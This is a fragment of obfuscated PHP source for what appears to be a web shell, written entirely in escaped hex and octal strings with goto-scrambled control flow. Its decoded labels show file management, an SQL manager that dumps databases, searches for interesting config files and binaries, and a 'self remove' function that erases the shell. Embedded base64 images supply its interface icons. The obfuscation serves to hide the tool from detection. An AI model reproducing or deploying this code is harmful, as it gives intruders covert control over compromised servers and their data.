"\104\x55\115\x50\40\124\x41\102\114\x45\123\x3c\x62\162\76\x43\117\115\x4d\101\x20\50\54\51\40\123\x45\x50\101\x52\101\124\105\104\74\142\x72\76\114\105\101\x56\105\x20\105\x4d\120\124\x59\40\106\117\x52\40\101\114\x4c", "\64\x34\x33" => "\106\x49\114\105\x20\x4e\101\x4d\x45", "\64\x34\64" => "\x53\x41\126\105\40\x44\x55\115\x50\40\124\117\x20\x46\x49\x4c\105", "\x34\x34\x35" => "\x44\x4f\127\116\114\x4f\x41\x44\40\122\105\123\125\x4c\x54\123", "\x34\64\66" => "\x44\165\155\160", "\x34\64\x37" => "\x43\x61\156\x27\164\x20\163\145\x6c\145\x63\164\40\144\141\164\141\142\141\x73\145", "\64\x34\x38" => "\116\157\x74\150\x69\156\x67\40\x74\157\x20\x64\x75\155\160", "\x34\64\x39" => "\104\x75\x6d\x70\x65\x64\40\164\x6f\x20\133\45\61\x25\135", "\64\65\x30" => "\x43\141\156\47\x74\x20\x77\162\151\x74\145\x20\x74\x6f\40\x66\151\x6c\x65\56", "\64\65\61" => "\123\x51\114\40\x4d\101\x4e\x41\x47\105\x52", "\64\65\62" => "\x48\x4f\123\x54\x3a\120\117\x52\x54", "\64\x35\x33" => "\x55\x53\105\x52", "\64\x35\x34" => "\x50\101\123\x53", "\x34\65\65" => "\x44\x42", "\64\x35\66" => "\124\131\x50\x45", "\x34\65\x37" => "\x43\x6f\156\x6e\x65\x63\164", "\64\65\70" => "\103\x61\x6e\47\164\40\x63\162\145\x61\164\145\40\x64\165\x6d\160", "\64\x35\x39" => "\x44\165\155\x70\145\144", "\64\x36\x30" => "\123\105\114\106\40\x52\x45\x4d\x4f\126\105", "\x34\66\x31" => "\x44\x4f\x20\x59\x4f\x55\x20\122\105\101\x4c\114\131\40\x57\x41\116\124\x20\x54\117\x20\x44\105\114\105\124\x45\40\115\105\77\x20", "\x34\x36\62" => "\107\x4f\117\104\40\102\131\105", "\64\66\x33" => "\x43\141\156\x27\x74\x20\144\145\154\x65\x74\x65\x20\133\x25\61\x25\x5d", "\x34\66\64" => "\x43\x41\x4e\47\x54\40\x4c\111\123\x54\x20\x5b\x25\61\45\135", "\64\x36\65" => "\x46\x72\145\145\72\40\x5b\45\x31\45\x5d", "\64\x36\x36" => "\106\x49\114\x45\40\x5b\45\x31\x25\135\x20\104\117\105\x53\x4e\124\40\105\130\111\123\124\x2e", "\64\x36\x37" => "\x59\117\x55\40\x41\122\105\40\124\x52\x59\111\116\107\x20\124\117\40\117\120\105\116\40\101\40\x44\x49\x52\x45\x43\124\117\x52\x59\40\x41\123\x20\x41\40\106\111\x4c\x45\x20\x28\x5b\45\61\45\x5d\51", "\x34\x36\x38" => "\124\x41\122\x47\x45\x54\x20\x41\x4c\x52\105\101\x44\131\x20\x45\x58\111\123\x54\x53\40\x28\104\x49\x52\x45\x43\124\117\122\131\40\x5b\x25\61\x25\x5d\51", "\x34\66\x39" => "\106\111\x4c\x45\x20\116\117\x54\40\x53\x50\x45\x43\111\x46\111\x45\x44", "\64\67\x30" => "\x52\145\x74\165\x72\x6e", "\x34\67\61" => "\x59\157\x75\x72\x20\x62\x72\157\x77\163\145\162\x20\144\157\x65\x73\x6e\x74\40\163\x75\160\x70\157\x72\164\40\x69\x66\x72\x61\155\145\163\x2e", "\64\x37\62" => "\40\50\103\x57\x44\x20\x53\120\105\103\x49\x46\111\105\x44\40\101\123\x20\101\x20\106\x49\x4c\105\51", "\64\x37\x33" => "\x52\x45\x4e\101\115\105\x20\133\45\61\45\135", "\64\x37\64" => "\x52\105\x4e\x41\115\105\104\40\x54\117\40\133\45\61\45\135", "\x34\x37\x35" => "\x43\x41\116\116\117\x54\x20\122\105\x4e\101\x4d\x45\x20\133\45\61\45\x5d", "\x34\x37\66" => "\105\130\x54\122\101\103\124\105\104\40\132\111\120\x20\101\x52\103\110\x49\x56\105\40\133\45\61\45\x5d", "\64\x37\67" => "\x43\101\116\x4e\x4f\124\40\x45\130\x54\122\101\103\124\40\x5b\x25\x31\x25\135", "\64\67\70" => "\x45\170\x74\162\141\x63\164\40\x5b\x25\61\45\135", "\64\x37\71" => "\107\x45\x4e\x45\122\x41\114\40\x49\x4e\106\x4f\122\x4d\x41\x54\111\x4f\x4e", "\64\70\x30" => "\x50\x48\120\40\x49\x4e\106\117\122\115\x41\124\111\117\x4e", "\x34\70\61" => "\x4f\124\110\x45\122\x20\125\x53\105\106\x55\x4c\114\x20\x53\x54\125\x46\x46", "\64\x38\62" => "\111\x6e\x74\x65\162\145\163\164\151\156\147\x20\x66\x69\154\145\x73", "\x34\x38\63" => "\111\x6e\x74\x65\162\x65\163\x74\x69\x6e\147\40\x63\x6f\156\146\151\x67\163", "\x34\x38\64" => "\x49\x6e\164\145\x72\x65\x73\x74\x69\156\147\x20\x62\151\156\163", "\64\70\65" => "\x53\x63\162\x69\160\x74\x69\x6e\x67\40\x6c\x61\x6e\147\x75\141\x67\x65\x73", "\64\x38\x36" => "\120\101\x47\105\x20\x47\105\x4e\105\122\x41\124\105\104\x20\111\116\40\x5b\x25\x31\45\135\x20\123\105\x43\x4f\x4e\104\123", "\x75\x6e\144\x65\x66\x69\156\145\144" => "\77"); goto BxBhi; qAZ8j: function z3y(&$a, $k = '') { if (@is_array($a)) { foreach ($a as $k => $v) { z3y($a["{$k}"]); } } else { if ($a == "\x6e\141\x6d\145" || $a == "\164\x6d\160\137\x6e\x61\x6d\x65") { $a = z1i($a); } } } goto Ev8nf; BxcAO: function z6l($i) { return z7r("\x65\x73\x63\x61\x70\145\163\x68\x65\154\x6c\x61\162\x67") ? @escapeshellarg($i) : $i; } goto zC5QJ; Uac8g: $images = array("\157\x6b" => "\x69\x56\x42\117\x52\x77\x30\x4b\x47\147\157\101\101\101\101\116\x53\x55\x68\x45\125\147\101\101\101\102\101\x41\101\101\x41\121\x43\101\x59\x41\x41\101\x41\x66\x38\x2f\x39\x68\x41\x41\101\101\102\110\116\103\123\126\x51\x49\103\101\x67\111\146\101\x68\153\x69\x41\x41\101\x41\x41\154\167\123\106\154\x7a\101\x41\x41\116\x31\x77\x41\101\x44\144\143\x42\x51\x69\x69\x62\145\x41\101\x41\x41\102\154\x30\122\x56\150\60\125\62\x39\155\x64\110\x64\x68\x63\155\x55\x41\x64\63\x64\x33\114\x6d\154\165\141\63\x4e\152\x59\x58\102\x6c\114\155\71\x79\132\65\x76\x75\x50\x42\x6f\x41\101\x41\104\157\x53\125\x52\102\x56\104\x69\116\x72\x5a\x4f\x78\x62\157\x4e\101\104\111\131\57\60\x38\x43\x41\165\x6e\124\111\121\x42\x61\153\x53\x4c\122\142\x48\x36\x51\166\60\x58\x66\x72\121\x2f\121\x42\x6d\114\x4d\x31\x69\161\111\x4d\x45\122\x6e\141\104\161\x78\143\x4a\163\x42\x64\117\110\121\x68\x58\112\x4f\x49\57\112\112\x31\x5a\x38\x76\63\62\x7a\67\142\x6f\x71\x70\x4d\121\x54\104\160\x4e\x54\x44\172\62\117\146\101\x30\x38\x42\x6d\x67\117\x38\172\124\x31\x55\144\153\167\172\64\x42\125\x6f\x72\145\132\66\57\161\x71\157\115\x66\130\60\132\x41\x42\x79\101\60\103\160\112\153\164\x53\130\123\154\147\x41\152\x34\65\x2b\144\x41\x6b\x36\x5a\116\x31\132\101\x54\70\101\64\156\124\150\127\x55\121\x2b\x48\x65\143\x39\x34\114\132\x6f\103\125\x68\130\71\150\165\x77\107\62\131\x41\70\x44\127\127\132\x6f\x66\x31\160\x52\112\163\62\x6a\x66\x68\162\147\x53\126\x71\x71\66\x73\105\157\x62\150\x53\x31\63\130\104\x31\131\63\x78\x6d\172\151\117\x4f\x35\x39\67\x55\x55\70\x6f\65\x79\112\171\104\x76\x51\x45\170\x52\x46\x38\x5a\107\x6d\66\132\x62\124\152\x2f\130\120\121\x52\x41\x45\x78\x37\x5a\164\145\64\x49\157\151\153\131\152\x2b\x51\x69\x71\160\155\x6c\x4b\x54\156\x66\106\104\x4b\120\x2f\126\x38\x4c\x56\155\x4c\x79\116\x66\x39\154\130\x59\66\x6c\164\x6c\x59\x73\x72\x41\x41\x41\101\101\105\154\106\124\x6b\x53\x75\121\x6d\103\103", "\x63\141\156\x63\145\154" => "\x69\126\x42\x4f\x52\167\x30\113\x47\x67\x6f\101\x41\x41\101\116\123\125\150\x45\x55\147\101\101\101\x42\101\x41\101\101\101\121\x43\101\x59\101\x41\x41\101\146\70\x2f\71\150\x41\101\101\x41\x42\x48\x4e\x43\123\126\121\111\103\101\x67\111\146\101\x68\x6b\151\101\101\101\101\101\154\167\123\106\154\x7a\x41\101\101\116\x31\167\x41\x41\104\144\143\x42\x51\x69\151\142\145\x41\101\x41\101\102\154\60\x52\126\150\x30\125\x32\x39\155\144\x48\144\150\x63\155\x55\101\144\63\144\x33\x4c\155\x6c\x75\141\63\x4e\x6a\131\130\x42\x6c\114\x6d\71\171\x5a\65\166\165\120\x42\157\101\101\101\x48\154\x53\x55\122\x42\126\x44\x69\x4e\160\x5a\120\x50\x61\x39\116\167\x47\115\x61\146\x4c\x6b\x6e\63\x48\126\153\104\141\160\115\163\101\170\x45\113\142\x62\144\102\x6d\x61\x66\123\x69\63\145\132\152\x6b\x58\102\x48\70\x79\124\115\x47\x47\167\121\64\57\x37\x43\167\x61\x44\156\130\x71\x64\x42\x30\x2f\144\106\155\x57\150\150\x51\161\171\171\x77\x5a\145\x4a\112\x63\65\x65\x68\151\131\x4d\132\x41\x65\x53\154\161\x74\60\x45\x55\x79\62\161\141\x76\x42\61\163\112\153\123\114\x53\x46\x39\67\114\167\x2f\164\70\53\120\111\x38\x66\x43\x4e\105\x68\110\x46\x6d\131\x69\x7a\x33\103\x49\101\103\x49\101\106\x41\104\107\x6a\x69\x51\x46\x50\x2b\x42\x5a\152\132\x79\x32\x58\61\67\123\154\127\x76\x6a\103\x4d\71\115\x41\x6f\130\x68\150\107\x65\156\165\113\x6c\x66\x64\171\127\122\63\x41\124\116\x41\121\x43\127\x53\147\x47\120\x64\171\145\165\x50\x7a\x57\125\x48\154\x65\x56\142\x7a\146\x58\x76\154\x39\132\166\x6e\101\x46\102\53\71\146\114\147\x4e\163\x63\x6c\x6e\x56\x37\166\x57\x72\155\x37\x6d\x48\57\62\70\126\x4d\112\121\x43\115\x4d\123\102\124\x6e\x55\66\142\x57\x62\151\61\x79\105\145\x44\113\x37\x2b\117\x79\60\x37\115\x42\x49\102\x48\154\x6b\x7a\106\x75\x41\152\64\102\144\x65\156\x6d\x32\131\166\172\114\x34\70\x42\x58\111\x59\102\x59\163\x65\160\162\x31\x54\x31\x2b\57\154\165\167\70\153\x43\121\114\166\x6e\101\167\101\153\156\147\115\x41\103\x49\x70\161\132\125\157\x66\x43\x6c\106\126\113\x77\120\64\x47\121\131\101\x67\x4e\122\x78\x6e\x49\146\62\60\x77\146\65\x7a\162\x66\x66\x6b\117\106\105\x34\66\161\126\x66\x50\165\x2b\105\106\130\x56\x43\157\x44\62\x71\x42\x42\x39\x35\x39\123\x79\141\x35\64\63\x7a\x52\151\120\64\x4e\x59\x38\142\x39\x6f\65\164\x57\x77\x41\57\161\147\x57\x78\x48\162\x46\124\102\71\166\162\x42\130\x6c\166\162\x63\x77\171\x51\121\105\x56\53\x35\x37\103\x38\x63\x62\x61\70\126\66\170\122\x79\62\x38\61\143\x4c\x69\x58\145\132\x4f\x36\130\x35\127\104\x52\x7a\147\x77\153\101\101\117\66\127\x62\101\x47\101\57\67\x32\x5a\102\131\101\x66\61\x31\x32\x63\x58\x33\x57\x71\x54\x36\x70\x66\x39\x57\107\x49\167\x52\x65\64\123\61\x73\67\53\61\x6f\x38\x35\x6a\111\155\121\x4a\x7a\126\114\110\x6e\x33\163\103\x44\x76\x48\150\142\105\127\143\x31\x69\124\111\101\x57\152\67\x6c\114\x57\x7a\166\67\x41\x4e\x77\x2f\x4c\x69\x49\113\67\x6c\172\x33\171\x4e\170\60\61\x35\x64\x50\x71\x4e\126\143\112\x53\x4b\x4a\x69\x43\122\x71\x4e\x56\x66\x64\x39\145\x57\x54\x37\160\107\65\123\125\x52\x7a\x51\x55\70\x59\101\103\x4a\113\105\x64\x47\152\147\130\155\x6f\x53\x51\115\164\106\142\64\120\x31\x2f\152\146\115\57\x5a\166\57\x41\x58\126\172\166\70\122\x71\x53\x6a\x47\167\147\101\101\101\101\102\112\122\x55\x35\x45\162\x6b\112\x67\x67\x67\75\x3d", "\x73\155\x61\x6c\x6c\x5f\150\157\155\145" => "\151\x56\102\117\122\x77\60\113\107\x67\x6f\x41\101\x41\x41\116\123\x55\x68\x45\125\x67\x41\101\x41\102\x41\x41\x41\101\101\x51\103\101\x59\101\x41\x41\x41\146\x38\x2f\x39\150\101\x41\x41\101\101\x58\x4e\123\x52\60\x49\101\162\x73\x34\143\x36\x51\101\101\101\101\x5a\151\123\x30\144\105\101\120\70\101\57\x77\x44\x2f\157\114\62\156\x6b\167\101\x41\x41\101\154\x77\x53\106\x6c\x7a\101\x41\x41\x4e\61\167\101\x41\x44\x64\x63\x42\x51\x69\x69\x62\145\x41\x41\x41\x41\101\x64\60\x53\125\x31\106\102\x39\157\x49\105\167\x77\x7a\115\141\105\x43\165\x6a\x63\x41\101\101\110\146\x53\125\122\x42\x56\x44\x6a\114\154\132\111\71\x61\x31\122\122\x45\111\x61\x66\143\x2b\57\132\x6d\64\166\112\x4c\156\x5a\161\113\x56\131\62\x51\x52\x45\x58\121\143\x45\151\164\x69\153\x43\x39\x6a\131\x42\x42\143\165\60\x4b\144\x50\x6d\x4e\60\x68\x67\x73\122\x46\163\x42\120\x2b\x41\x68\x73\x41\x57\160\153\x77\62\x52\102\101\150\105\x67\x4f\122\x44\145\x78\x6d\67\x35\x34\x35\132\x38\x5a\x69\157\x2b\x61\171\x55\x63\167\x4c\160\65\x6c\x35\x35\152\101\x66\x72\172\115\172\x37\x71\66\71\x65\x77\x4d\70\x70\141\x37\x33\167\116\x4c\x32\x36\155\x4c\x67\110\63\x4a\x6e\x48\71\x69\x44\x6d\x39\x65\170\172\105\62\151\103\162\63\x44\105\57\x71\152\60\x79\x45\121\114\x36\x67\x7a\x34\120\130\62\66\x75\x4a\x4c\71\66\114\x54\146\144\124\144\x50\x2f\x77\x77\x66\x38\x4e\120\x55\x5a\x70\101\x62\x62\x70\x61\104\130\x72\x48\123\x65\57\x66\x75\166\x62\x59\122\x77\156\162\x61\60\x74\x33\x6d\103\x73\x4c\x4c\161\116\x42\106\x62\x4b\x33\156\67\66\165\53\x36\x69\170\x2f\130\60\167\x35\x76\x50\x78\x63\101\x71\141\141\x65\x52\x59\115\157\x4c\x71\x56\x47\65\165\x78\x68\x4d\x31\164\x6e\62\x4b\x77\153\153\154\125\x38\103\x56\x77\x70\117\x62\121\x51\131\165\172\x7a\x6b\116\71\126\127\x63\126\x45\113\x4b\x67\x71\71\105\x45\x61\x6b\120\x4f\x6c\x76\x6b\x4f\104\x56\145\x62\145\x34\101\70\117\172\150\x62\x51\x71\x58\x4d\x51\x79\160\x78\x6c\127\x69\132\x4b\x4a\107\x53\x50\x72\67\154\125\x56\x47\x35\155\102\152\143\167\143\162\x6d\x31\152\132\132\107\116\x7a\150\x38\170\x42\x57\x57\121\61\x56\x74\x54\x49\x71\x71\x68\105\x68\141\x69\124\x74\152\63\121\x32\144\162\106\x79\x69\x61\164\x73\x71\x42\x56\106\154\x6a\132\160\x4c\117\x31\151\172\x38\142\67\122\144\146\122\x53\x56\x54\x69\60\122\x54\x63\165\71\157\x4f\x4b\x50\172\x63\x5a\x64\122\x4e\x46\x72\x6e\162\x74\x49\161\x43\x30\x5a\170\153\155\163\x34\x49\x2f\x65\x4f\141\111\160\141\x4a\102\115\122\x4a\102\161\123\152\113\x4c\x68\127\126\66\131\122\x38\112\64\x61\x71\x6b\x53\170\x69\167\166\172\106\x4d\60\120\112\x4a\x73\x55\151\x4e\103\154\154\x4a\103\153\152\105\x59\122\x58\x70\110\121\62\114\x53\x76\x39\x34\53\112\161\x56\63\x4e\x47\x51\167\151\153\147\x79\125\x6b\x70\64\x45\x53\105\65\161\67\153\115\64\x4f\104\x62\x77\131\x55\117\120\x4d\x2b\113\103\106\65\152\131\102\172\x2f\x42\120\x73\x68\70\166\172\112\166\x51\163\x37\66\111\x64\x59\131\x7a\125\x47\166\107\152\161\x48\150\63\57\141\x46\x2b\144\156\x51\x4e\147\x37\x79\x44\x38\154\65\x58\67\x77\x77\x47\151\x71\145\165\124\152\106\x66\x32\x76\53\171\164\101\x32\60\x75\x70\171\x36\167\x38\x68\115\x51\x2f\171\146\142\x61\154\166\x56\153\147\101\101\x41\x41\102\112\x52\125\65\105\x72\153\112\147\x67\x67\75\x3d", "\x73\x6d\x61\154\x6c\137\x64\151\x72" => "\151\126\102\x4f\x52\167\60\x4b\107\x67\157\101\101\101\101\x4e\123\125\x68\x45\125\147\x41\x41\101\102\101\x41\x41\x41\101\121\x43\x41\x59\101\x41\x41\101\146\70\57\x39\x68\101\x41\101\x41\x41\130\116\123\x52\60\x49\101\x72\163\64\x63\66\x51\101\101\101\101\132\x69\123\60\144\x45\x41\x50\70\101\57\167\x44\57\x6f\114\62\x6e\153\167\x41\x41\101\101\154\167\x53\106\x6c\172\x41\x41\x41\116\x31\x77\101\x41\104\144\x63\x42\x51\151\x69\142\145\x41\101\101\101\x41\144\x30\123\125\x31\x46\x42\x39\x6f\x49\105\x77\x77\170\111\62\103\116\x71\x66\60\x41\x41\x41\x45\126\x53\x55\122\x42\126\104\x6a\x4c\160\132\x43\x39\123\x67\x4e\x52\105\111\130\120\150\x6b\x45\106\x55\71\151\160\x70\144\151\x4c\106\x69\64\x57\147\x6b\x2b\121\111\165\x42\x44\x43\112\132\x70\125\66\142\144\164\x77\147\62\147\x6f\x33\x67\x43\71\150\164\x59\145\x70\111\102\x4c\107\x4b\121\x69\123\102\x52\x4f\x2f\145\x2b\142\117\x49\152\125\123\105\x76\130\x37\x6c\115\x4f\146\152\x7a\x47\x54\x75\152\x71\120\x65\67\124\x57\x41\x63\x2f\172\x6b\104\x6b\x42\x37\60\107\x31\106\x2f\x45\110\62\x4c\146\x43\124\x76\x52\61\x34\x49\61\164\117\x44\x52\151\x4f\x5a\65\x68\53\146\x69\x77\x41\x79\103\70\x35\x42\63\x41\61\x36\114\131\165\163\x34\x74\53\145\x56\161\117\x78\x76\143\110\165\67\x53\171\x5a\x51\x71\x59\162\66\142\116\x67\x65\x46\x45\67\130\150\x2f\53\x34\x79\x45\131\71\x46\162\110\x36\x4b\x35\163\x59\131\66\x7a\x45\116\x73\63\104\171\x38\106\103\x51\x6d\53\x65\x75\x38\x77\164\116\x6b\x55\x55\x76\x51\130\x43\x65\x49\123\125\x34\161\152\106\x6c\147\x31\107\125\127\x47\x43\157\115\x43\x6d\x78\147\x64\x71\x51\121\62\105\102\x73\152\x71\x69\x57\x4a\107\102\172\x55\x42\x43\104\x70\x4f\125\122\x78\x45\x44\155\101\166\x45\60\147\x37\x6d\101\155\102\x6b\163\141\x54\x39\147\132\x70\x43\x71\x67\x6a\x56\x4e\157\x4b\x72\x4c\x42\160\x72\71\x6f\64\106\x4a\x52\x4a\x56\64\147\153\153\x45\163\127\x6e\65\116\156\x6e\120\164\x7a\x61\x62\164\x63\114\124\x78\122\170\163\127\160\x4a\171\61\x52\153\x39\120\x78\x59\101\70\160\157\106\123\x67\103\x64\114\172\x4b\124\x71\116\x6f\122\x57\x30\172\x38\101\x41\x41\101\101\105\x6c\106\x54\x6b\x53\x75\x51\x6d\103\x43", "\x64\157\x63" => "\151\126\x42\x4f\x52\167\x30\113\107\147\x6f\101\x41\101\x41\116\123\125\150\x45\x55\x67\x41\x41\x41\102\x41\x41\x41\x41\101\121\103\x41\131\101\101\101\101\146\70\57\x39\x68\101\101\101\x41\x42\110\x4e\103\x53\126\121\x49\x43\x41\x67\x49\x66\x41\x68\153\151\x41\x41\x41\101\x41\x6c\167\123\x46\x6c\x7a\101\101\101\x4e\x31\167\101\x41\x44\144\x63\x42\x51\x69\x69\142\x65\x41\x41\x41\101\102\x6c\60\122\x56\x68\x30\x55\62\x39\x6d\144\110\x64\150\143\x6d\125\x41\x64\x33\x64\x33\114\155\154\165\x61\x33\116\x6a\x59\x58\x42\154\114\x6d\71\171\132\65\166\165\x50\x42\157\101\x41\101\x47\x55\123\125\122\102\126\x44\151\116\152\x5a\120\102\x53\x6c\x74\102\x46\111\142\57\x33\101\172\105\x43\x34\x55\x67\x7a\111\101\115\x46\x43\x51\x33\160\121\x73\126\x58\x53\x58\x42\x6c\x2b\153\x7a\x46\x4f\62\155\x47\53\x6d\151\127\x35\70\150\131\x48\144\x39\103\x7a\x64\112\116\x67\160\130\x51\144\x51\x73\116\x4a\105\153\x4e\115\x47\x46\60\x4b\x4a\63\172\x73\x7a\x70\x49\162\154\x44\153\156\163\x31\104\147\167\x4d\150\x35\156\57\x2b\x2f\71\x7a\155\115\114\102\70\145\x6e\130\x39\165\x58\167\x35\57\63\147\113\x51\x53\x41\x33\60\146\142\x63\115\x35\150\61\x51\x71\x43\x49\102\132\103\110\x42\142\x32\166\x2f\172\x36\x5a\64\x73\x66\x77\x73\62\x50\x47\x6b\107\x78\151\x4a\x50\x76\x75\62\x44\155\116\x78\70\x54\x45\146\x72\x39\120\x6b\x61\x6a\x30\131\x57\x34\145\57\147\x54\x56\x6a\71\x72\156\106\60\57\x77\152\x71\107\x4d\121\x5a\105\164\116\113\102\x31\x68\161\x39\x58\155\x39\x48\x73\x45\60\x77\155\x50\171\x46\144\126\x4d\161\x4d\x34\117\x5a\x30\127\161\x31\101\101\102\x4b\x4b\x59\172\x48\131\57\71\x51\x4b\x59\x56\161\x74\121\160\x6d\150\162\125\127\x67\x6d\60\103\157\163\x52\x66\x53\101\x55\x61\152\x59\141\x76\122\126\107\60\x51\x45\x38\152\x45\x68\105\105\63\x41\166\147\x54\x45\141\147\x32\53\x31\x36\x38\162\x79\x4c\61\x41\105\x41\x47\107\115\147\x6e\x44\x58\x67\x4f\131\x46\x55\x4a\x49\x71\151\102\146\114\x38\x4f\x58\126\x67\x72\131\127\101\123\63\111\x64\x74\x4e\166\x74\x42\x62\160\123\x4b\x68\x4f\106\151\x4b\131\71\x34\x42\171\102\145\x72\63\x75\x61\x35\126\x4b\132\x59\x47\70\x4a\107\101\101\155\64\63\x77\156\x6a\x55\x56\x63\x50\x6b\117\x4f\160\62\x4f\x72\x30\x6b\x70\101\x51\x43\124\x79\x51\x52\123\123\150\71\x6c\116\x67\x57\x54\62\x34\116\141\162\x5a\x59\x68\114\x6b\x65\132\x4f\143\x69\146\x51\165\160\x41\x53\165\x6e\x4a\x57\155\165\x45\131\132\152\x74\x67\142\115\x76\113\102\x53\x43\x56\170\x32\x6b\x35\107\x55\66\105\x53\110\x51\107\53\x76\x50\x35\x71\153\x50\x74\163\x2b\x41\115\x31\x37\x67\x72\x5a\x30\153\x43\145\111\64\150\150\x44\151\x52\165\170\164\x66\x66\x70\x78\106\x6c\70\144\104\x59\146\156\141\x77\x44\x51\142\104\x62\146\71\132\x6c\113\x70\x64\x4a\164\x75\x56\172\53\x39\x68\x2f\170\x35\x6a\x6c\x36\x38\67\x78\70\x75\x51\101\101\101\x41\102\x4a\x52\125\x35\105\162\x6b\x4a\147\x67\x67\75\75", "\160\144\x66" => "\x69\126\x42\x4f\122\167\60\113\x47\x67\157\x41\101\x41\x41\116\x53\125\x68\x45\x55\x67\x41\101\x41\x42\x41\x41\x41\x41\101\x51\x43\x41\131\101\x41\101\101\146\70\57\x39\x68\x41\x41\101\x41\x42\x48\116\x43\123\x56\121\x49\x43\101\x67\111\146\x41\x68\153\151\x41\101\101\101\101\154\167\123\106\x6c\172\101\101\x41\x4e\x31\167\x41\x41\104\x64\x63\x42\x51\151\151\x62\x65\101\101\x41\101\x42\154\x30\x52\126\150\x30\125\62\x39\x6d\144\x48\144\150\143\x6d\125\101\144\x33\144\x33\114\x6d\x6c\x75\141\63\x4e\x6a\131\x58\102\x6c\x4c\155\71\x79\x5a\65\x76\165\120\102\x6f\101\x41\101\113\143\123\x55\122\x42\x56\x44\151\116\144\132\120\x50\141\x35\122\156\105\x4d\143\x2f\x37\67\x76\120\67\x76\x74\x6d\x58\62\116\131\131\x6a\x43\53\163\x42\161\x6b\162\x52\102\x4d\x68\x42\65\x4b\125\x52\157\x51\103\145\113\x68\71\x4b\132\57\x67\122\x65\150\x68\127\x6f\70\x56\x46\x41\x45\121\124\x32\111\x43\x58\160\111\x32\64\x4e\x52\153\x5a\x4a\x53\x46\x49\x6d\x30\112\60\x38\x62\x4b\x4b\126\160\x78\113\167\x70\x4c\x65\64\160\103\125\113\141\x4b\x6d\x76\x32\65\x37\166\x76\x2b\70\x7a\172\145\x4e\147\153\x47\153\x67\x47\x35\x6a\124\104\x5a\62\x61\x2b\115\x2b\x50\x4d\x7a\x4d\x77\x4d\141\66\61\166\107\107\x4d\x47\x32\143\x62\x73\x6d\170\130\x73\x33\x4a\x2b\x34\x52\x34\x34\150\154\70\x36\121\165\156\x41\x54\116\x39\144\144\126\105\161\x4e\117\111\126\103\x6f\144\x6a\x62\62\172\x75\121\172\53\x64\122\x53\155\60\112\x69\x4f\x2b\x4d\x6b\x54\162\64\113\143\x6d\124\x53\132\170\x77\x4c\x36\x6e\124\x49\171\x77\x74\114\142\107\x38\166\120\170\103\170\130\105\x38\105\111\x59\150\127\155\x75\x30\61\x6c\x73\103\127\154\x4f\x54\160\104\111\144\66\104\70\113\53\114\71\x4d\x6f\67\125\x6d\104\x45\115\x57\106\x78\x63\x48\154\111\150\x67\152\x4e\155\165\145\53\171\x72\122\132\111\130\172\65\110\x6f\x52\x2f\x7a\170\150\61\x6a\x50\x42\62\x75\170\x31\151\x49\x69\113\x4b\x30\x31\61\164\160\x74\101\x66\x47\x76\x44\170\x46\x53\x65\106\144\x75\x51\x35\152\x66\154\x4e\164\x73\x4e\x6c\x46\112\x6b\x6d\167\116\x73\112\142\x6b\164\60\143\60\146\x78\147\x46\x56\53\110\x32\110\x39\161\x55\x46\x30\x55\x52\65\x58\x49\132\126\60\x53\167\141\x79\x32\x74\x65\x31\170\x34\123\x75\130\x6b\115\x4d\156\x63\x4c\x42\x49\156\x36\x48\157\x44\x47\67\143\62\64\157\x31\107\147\63\x4b\x35\152\116\141\66\120\x59\113\x4a\111\161\x54\x30\x44\x2f\x4c\166\x33\67\121\145\x2f\64\167\x54\67\103\x42\67\x66\x5a\x78\x55\x33\63\x37\161\x45\x39\53\104\101\x58\x6e\x37\106\x6e\x64\130\104\57\126\66\x6e\x57\x71\61\103\x74\104\127\157\x48\x7a\x68\x57\61\67\110\x4e\124\x4b\x48\150\x38\150\x38\x63\132\124\163\x31\126\x75\x6b\70\166\163\101\x4d\112\126\x56\112\107\153\x4c\130\x4a\x75\146\x49\x2b\x6f\146\122\105\x51\62\x78\x68\101\x52\x6c\x50\x33\157\101\x45\66\162\x68\x6b\121\x74\152\x4f\x50\x69\67\147\x6d\170\x31\155\113\115\x49\126\x37\x35\104\x31\x6c\142\x55\117\x33\63\x61\146\151\x6b\146\65\116\x4d\x6e\165\145\x68\155\163\x65\57\122\x45\66\x63\x77\106\x68\104\x63\166\x38\117\x71\x36\x65\53\x67\x73\166\x58\x73\116\x30\71\163\114\x41\101\x61\167\104\x6e\x2b\x54\115\70\172\x38\x50\172\120\x4b\111\x6f\x77\x76\144\71\x48\x4d\x64\102\x42\x55\x46\x41\114\x70\144\162\x56\x2f\63\x36\114\115\x6d\x52\x49\127\162\146\156\127\120\156\x54\x34\53\x51\x49\113\103\x79\104\160\x6a\71\151\60\x37\x52\x47\102\x55\101\64\x50\x73\x2b\x57\155\164\x63\162\x54\x57\117\x34\53\x43\x36\114\153\x6f\x70\117\152\x37\67\x6e\115\172\x68\111\127\x54\x71\x4d\x66\x36\53\120\153\122\101\102\110\123\152\122\x66\x58\145\x42\x46\x45\x55\x6b\x55\x36\156\163\x64\141\x2b\102\66\x7a\x66\167\162\x70\x33\x6e\x76\x6d\x47\x79\157\x50\67\x75\x4e\62\x37\115\x43\x71\x44\x47\102\101\x44\x6c\142\x73\124\170\114\x55\161\x36\x58\123\141\112\105\x6e\141\x41\113\130\x55\171\62\113\170\123\x42\x7a\x48\107\167\x43\171\x57\145\152\x63\x69\x61\171\x75\167\x75\65\167\101\170\x43\x76\x2f\x45\x2f\x39\x34\153\x57\60\61\x68\123\114\x52\132\x52\123\114\61\x55\121\x42\x4f\144\114\160\144\113\x4e\x2b\x66\156\x35\x6a\172\x39\x55\165\113\64\x74\x6d\142\x46\122\x47\153\x36\113\65\115\x4e\x58\x6d\x5a\157\x69\113\x34\x62\x63\70\110\103\x70\161\x36\166\162\x2f\104\x76\x4b\x61\x59\x4d\110\112\166\153\116\x6e\147\101\101\x41\101\102\112\122\125\65\105\x72\x6b\x4a\147\x67\x67\x3d\x3d", "\x69\x73\x6f" => 